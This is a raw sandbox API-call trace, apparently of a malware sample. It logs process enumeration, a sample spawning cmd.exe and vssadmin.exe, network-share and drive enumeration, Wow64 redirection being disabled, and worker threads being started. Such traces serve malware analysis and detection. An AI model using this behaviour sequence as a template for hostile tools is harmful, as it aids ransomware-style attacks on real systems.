th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0068.782] lstrlenW (lpString="services.exe") returned 12 [0068.782] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0068.783] lstrlenW (lpString="lsass.exe") returned 9 [0068.783] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0068.783] lstrlenW (lpString="lsm.exe") returned 7 [0068.783] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.784] lstrlenW (lpString="svchost.exe") returned 11 [0068.784] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.784] lstrlenW (lpString="svchost.exe") returned 11 [0068.785] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.785] lstrlenW (lpString="svchost.exe") returned 11 [0068.785] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.786] lstrlenW (lpString="svchost.exe") returned 11 [0068.786] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.786] lstrlenW (lpString="svchost.exe") returned 11 [0068.786] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0068.787] lstrlenW (lpString="audiodg.exe") returned 11 [0068.787] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.787] lstrlenW (lpString="svchost.exe") returned 11 [0068.787] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.788] lstrlenW (lpString="svchost.exe") returned 11 [0068.788] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0068.788] lstrlenW (lpString="dwm.exe") returned 7 [0068.788] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0068.789] lstrlenW (lpString="explorer.exe") returned 12 [0068.789] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0068.790] lstrlenW (lpString="spoolsv.exe") returned 11 [0068.790] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0068.790] lstrlenW (lpString="taskhost.exe") returned 12 [0068.790] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.791] lstrlenW (lpString="svchost.exe") returned 11 [0068.791] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0068.791] lstrlenW (lpString="taskeng.exe") returned 11 [0068.791] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0068.792] lstrlenW (lpString="taskhost.exe") returned 12 [0068.792] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotesrouting.exe")) returned 1 [0068.792] lstrlenW (lpString="promotesrouting.exe") returned 19 [0068.792] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rxcalled.exe")) returned 1 [0068.793] lstrlenW (lpString="rxcalled.exe") returned 12 [0068.793] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="off.exe")) returned 1 [0068.793] lstrlenW (lpString="off.exe") returned 7 [0068.793] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mayorintl.exe")) returned 1 [0068.794] lstrlenW (lpString="mayorintl.exe") returned 13 [0068.794] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gzip-june.exe")) returned 1 [0068.794] lstrlenW (lpString="gzip-june.exe") returned 13 [0068.795] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsnavy.exe")) returned 1 [0068.795] lstrlenW (lpString="lsnavy.exe") returned 10 [0068.795] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing-scott-que.exe")) returned 1 [0068.796] lstrlenW (lpString="placing-scott-que.exe") returned 21 [0068.796] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="specifications.exe")) returned 1 [0068.796] lstrlenW (lpString="specifications.exe") returned 18 [0068.796] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soup-mario.exe")) returned 1 [0068.797] lstrlenW (lpString="soup-mario.exe") returned 14 [0068.797] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cultures-possession-please.exe")) returned 1 [0068.797] lstrlenW (lpString="cultures-possession-please.exe") returned 30 [0068.797] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="platformsprivate.exe")) returned 1 [0068.798] lstrlenW (lpString="platformsprivate.exe") returned 20 [0068.798] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valve tabs intelligent.exe")) returned 1 [0068.798] lstrlenW (lpString="valve tabs intelligent.exe") returned 26 [0068.798] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bangkok-updates.exe")) returned 1 [0068.799] lstrlenW (lpString="bangkok-updates.exe") returned 19 [0068.799] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scan-allows.exe")) returned 1 [0068.799] lstrlenW (lpString="scan-allows.exe") returned 15 [0068.799] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mwprovince.exe")) returned 1 [0068.867] lstrlenW (lpString="mwprovince.exe") returned 14 [0068.868] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hired_reality_again.exe")) returned 1 [0068.868] lstrlenW (lpString="hired_reality_again.exe") returned 23 [0068.868] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharonphonedebut.exe")) returned 1 [0068.869] lstrlenW (lpString="sharonphonedebut.exe") returned 20 [0068.869] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacting.exe")) returned 1 [0068.869] lstrlenW (lpString="contacting.exe") returned 14 [0068.870] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="continues_does_laos.exe")) returned 1 [0068.870] lstrlenW (lpString="continues_does_laos.exe") returned 23 [0068.870] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jpmanagers.exe")) returned 1 [0068.871] lstrlenW (lpString="jpmanagers.exe") returned 14 [0068.871] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="motor.exe")) returned 1 [0068.871] lstrlenW (lpString="motor.exe") returned 9 [0068.871] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="comboashleyalan.exe")) returned 1 [0068.872] lstrlenW (lpString="comboashleyalan.exe") returned 19 [0068.872] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toshiba.exe")) returned 1 [0068.872] lstrlenW (lpString="toshiba.exe") returned 11 [0068.872] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0068.873] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0068.873] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0068.873] lstrlenW (lpString="3G6885.exe") returned 10 [0068.873] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x99c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0068.874] lstrlenW (lpString="cmd.exe") returned 7 [0068.874] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0068.874] lstrlenW (lpString="conhost.exe") returned 11 [0068.874] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0068.875] lstrlenW (lpString="vssadmin.exe") returned 12 [0068.875] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0068.875] lstrlenW (lpString="VSSVC.exe") returned 9 [0068.876] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.876] lstrlenW (lpString="svchost.exe") returned 11 [0068.876] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0068.877] lstrlenW (lpString="LogonUI.exe") returned 11 [0068.877] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0068.877] CloseHandle (hObject=0x228) returned 1 [0068.877] Sleep (dwMilliseconds=0x1f4) Thread: id = 5 os_tid = 0x9c0 [0037.845] WaitForSingleObject (hHandle=0x18fde4, dwMilliseconds=0xffffffff) returned 0xffffffff [0037.846] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d4a30 | out: hHeap=0x5a0000) returned 1 Thread: id = 6 os_tid = 0x9c4 [0037.846] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5d4a30 [0037.846] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d4a30, Size=0x20) returned 0x5d5c50 [0037.846] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d5c50, Size=0x40) returned 0x5d6c30 [0037.846] GetLogicalDrives () returned 0x4 [0037.846] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x60e498 [0037.847] GetComputerNameW (in: lpBuffer=0x60e49c, nSize=0x248ff6c | out: lpBuffer="XDUWTFONO", nSize=0x248ff6c) returned 1 [0037.847] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1000) returned 0x61e4a0 [0037.847] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x248ff3c | out: lphEnum=0x248ff3c*=0x5d61e0) returned 0x0 [0037.848] WNetEnumResourceW (in: hEnum=0x5d61e0, lpcCount=0x248ff38, lpBuffer=0x61e4a0, lpBufferSize=0x248ff40 | out: lpcCount=0x248ff38, lpBuffer=0x61e4a0, lpBufferSize=0x248ff40) returned 0x103 [0037.848] WNetCloseEnum (hEnum=0x5d61e0) returned 0x0 [0037.848] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x248ff3c | out: lphEnum=0x248ff3c*=0x3f02288) returned 0x0 [0042.175] WNetEnumResourceW (in: hEnum=0x3f02288, lpcCount=0x248ff38, lpBuffer=0x61e4a0, lpBufferSize=0x248ff40 | out: lpcCount=0x248ff38, lpBuffer=0x61e4a0, lpBufferSize=0x248ff40) returned 0x0 [0042.175] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1000) returned 0x5ee058 [0042.176] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x61e4a0, lphEnum=0x248ff10 | out: lphEnum=0x248ff10*=0x5d6360) returned 0x0 [0042.383] WNetEnumResourceW (in: hEnum=0x5d6360, lpcCount=0x248ff0c, lpBuffer=0x5ee058, lpBufferSize=0x248ff14 | out: lpcCount=0x248ff0c, lpBuffer=0x5ee058, lpBufferSize=0x248ff14) returned 0x103 [0042.383] WNetCloseEnum (hEnum=0x5d6360) returned 0x0 [0042.383] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1000) returned 0x3f95bb0 [0042.383] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x61e4c0, lphEnum=0x248ff10 | out: lphEnum=0x248ff10*=0x0) returned 0x4b8 [0062.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1000) returned 0x3fc4eb8 [0062.408] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x61e4e0, lphEnum=0x248ff10 | out: lphEnum=0x248ff10*=0x0) returned 0x4c6 [0062.413] WNetEnumResourceW (in: hEnum=0x3f02288, lpcCount=0x248ff38, lpBuffer=0x61e4a0, lpBufferSize=0x248ff40 | out: lpcCount=0x248ff38, lpBuffer=0x61e4a0, lpBufferSize=0x248ff40) returned 0x103 [0062.413] WNetCloseEnum (hEnum=0x3f02288) returned 0x0 [0062.413] GetLogicalDrives () returned 0x4 [0062.413] Sleep (dwMilliseconds=0x64) [0062.799] GetLogicalDrives () returned 0x4 [0062.799] Sleep (dwMilliseconds=0x64) [0063.140] GetLogicalDrives () returned 0x4 [0063.140] Sleep (dwMilliseconds=0x64) [0063.986] GetLogicalDrives () returned 0x4 [0063.986] Sleep (dwMilliseconds=0x64) [0064.304] GetLogicalDrives () returned 0x4 [0064.304] Sleep (dwMilliseconds=0x64) [0064.705] GetLogicalDrives () returned 0x4 [0064.705] Sleep (dwMilliseconds=0x64) [0065.114] GetLogicalDrives () returned 0x4 [0065.114] Sleep (dwMilliseconds=0x64) [0065.362] GetLogicalDrives () returned 0x4 [0065.362] Sleep (dwMilliseconds=0x64) [0065.552] GetLogicalDrives () returned 0x4 [0065.552] Sleep (dwMilliseconds=0x64) [0065.754] GetLogicalDrives () returned 0x4 [0065.754] Sleep (dwMilliseconds=0x64) [0065.937] GetLogicalDrives () returned 0x4 [0065.937] Sleep (dwMilliseconds=0x64) [0066.314] GetLogicalDrives () returned 0x4 [0066.314] Sleep (dwMilliseconds=0x64) [0066.477] GetLogicalDrives () returned 0x4 [0066.477] Sleep (dwMilliseconds=0x64) [0067.950] GetLogicalDrives () returned 0x4 [0067.950] Sleep (dwMilliseconds=0x64) [0068.392] GetLogicalDrives () returned 0x4 [0068.392] Sleep (dwMilliseconds=0x64) [0068.800] GetLogicalDrives () returned 0x4 [0068.800] Sleep (dwMilliseconds=0x64) Thread: id = 7 os_tid = 0x9c8 [0037.850] GetTickCount () returned 0x1142cbc [0037.850] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x24) returned 0x5fb330 [0037.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5fb330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x120 [0037.854] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5fb330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c [0037.857] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5fb330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x128 [0037.859] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5fb330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c [0037.861] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f01c8 [0037.861] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f01c8, Size=0x20) returned 0x5d5c00 [0037.861] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f01c8 [0037.861] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f01c8, Size=0x20) returned 0x5d5b88 [0037.964] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0038.310] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0038.310] Wow64DisableWow64FsRedirection (in: OldValue=0x258ff84 | out: OldValue=0x258ff84*=0x0) returned 1 [0038.310] lstrlenW (lpString="kernel32.dll") returned 12 [0038.310] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d5c00 | out: hHeap=0x5a0000) returned 1 [0038.310] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0038.310] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d5b88 | out: hHeap=0x5a0000) returned 1 [0038.310] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x5db428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144 [0038.311] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0038.848] GetTickCount () returned 0x1142de4 [0038.848] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0039.525] GetTickCount () returned 0x1142ece [0039.525] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0039.756] GetTickCount () returned 0x1142fb8 [0039.757] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0039.957] GetTickCount () returned 0x1143083 [0039.957] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0040.270] GetTickCount () returned 0x114316d [0040.270] GetTickCount () returned 0x114316d [0040.270] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0040.495] GetTickCount () returned 0x1143257 [0040.495] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0040.799] GetTickCount () returned 0x1143370 [0040.799] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0041.332] GetTickCount () returned 0x1143582 [0041.332] GetTickCount () returned 0x1143582 [0041.332] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0042.188] GetTickCount () returned 0x11436f9 [0042.188] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 